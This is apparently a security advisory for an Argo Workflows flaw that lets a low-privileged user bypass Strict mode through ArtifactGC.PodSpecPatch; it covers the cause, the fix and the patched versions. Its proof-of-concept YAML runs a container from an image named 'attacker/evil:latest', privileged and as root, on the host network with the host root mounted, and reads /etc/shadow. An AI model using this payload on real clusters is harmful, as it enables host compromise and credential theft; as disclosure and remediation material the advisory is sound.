highCVE-2026-54526Aug 13, 2026

CVE-2026-54526: Argo Workflows ArtifactGC.PodSpecPatch Allow-List Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

A low-privileged user can inject an arbitrary Kubernetes pod spec patch into the artifact garbage-collection pod in Argo Workflows, completely defeating the Strict/Secure template-referencing…

Packagegithub.com/argoproj/argo-workflows/v4
Ecosystemgo
Affected>= 4.0.0, < 4.0.6
Fixed in4.0.6
CVE-2026-54526: Argo Workflows ArtifactGC.PodSpecPatch Allow-List Bypass

The problem

Argo Workflows 4.0.0-4.0.5 (and <3.7.15) enforce Strict/Secure mode via an allow-list in workflow/util/merge.go. That allow-list passes the entire ArtifactGC struct without inspecting its sub-fields.

The nested WorkflowLevelArtifactGC.PodSpecPatch field flows unmodified into util.ApplyPodSpecPatch on the artifact-GC pod. This is the exact same strategic-merge-patch sink that CVE-2026-31892 closed for WorkflowSpec.PodSpecPatch, left reachable one level down through the allow-listed parent field.

Any workflow that declares output artifacts (the normal Argo use case) gives a submitter a path to run an attacker-chosen image with privileged: true, mount hostPath: /, enable hostNetwork: true, and exfiltrate the pod service-account token.

Proof of concept

A working proof-of-concept for CVE-2026-54526 in github.com/argoproj/argo-workflows/v4, with the exact payload below.

yaml
# Controller config (workflowRestrictions.templateReferencing: Strict)
# Prerequisite: WorkflowTemplate named 'safe-template' with at least one output artifact

apiVersion: argoproj.io/v1alpha1
kind: WorkflowTemplate
metadata:
  name: safe-template
spec:
  entrypoint: main
  templates:
    - name: main
      container:
        image: argoexec:latest
        command: [echo, hello]
      outputs:
        artifacts:
          - name: artifact
            path: /tmp/artifact
---
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: bypass-
spec:
  workflowTemplateRef:
    name: safe-template
  artifactGC:
    strategy: OnWorkflowCompletion
    podSpecPatch: |
      containers:
      - name: main
        image: attacker/evil:latest
        command: [sh, -c, "while true; do cat /host/etc/shadow; sleep 3600; done"]
        securityContext:
          privileged: true
          runAsUser: 0
          allowPrivilegeEscalation: true
      hostNetwork: true
      volumes:
      - name: hostroot
        hostPath:
          path: /

The root cause is that ValidateUserOverrides uses reflection over WorkflowSpec top-level fields only. Because ArtifactGC appears in allowedUserOverrideFields, the entire struct passes unchecked, including its PodSpecPatch string.

That string is read back in artifact_gc.go:getArtifactGCPodInfo and fed to util.ApplyPodSpecPatch, which is a raw strategicpatch.StrategicMergePatch over the full apiv1.PodSpec with no field-level restrictions. The artifact-GC pod is built with AutomountServiceAccountToken: true and a hardened MinimalCtrSC() security context that the patch fully overrides.

The CWE is Improper Access Control (CWE-284): a security boundary (Strict/Secure mode) is bypassed because the enforcement logic does not recurse into an allow-listed composite field.

The fix

Upgrade to Argo Workflows v4.0.6 (or v3.7.15 for the v3 branch). The patch adds explicit rejection of ArtifactGC.PodSpecPatch, ArtifactGC.ServiceAccountName, and ArtifactGC.PodMetadata inside ValidateUserOverrides, and strips those sub-fields in SanitizeUserWorkflowSpec while leaving the benign Strategy and ForceFinalizerRemoval fields intact.

Commits: 277e9cef (v4) and 358cc396 (v3).

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research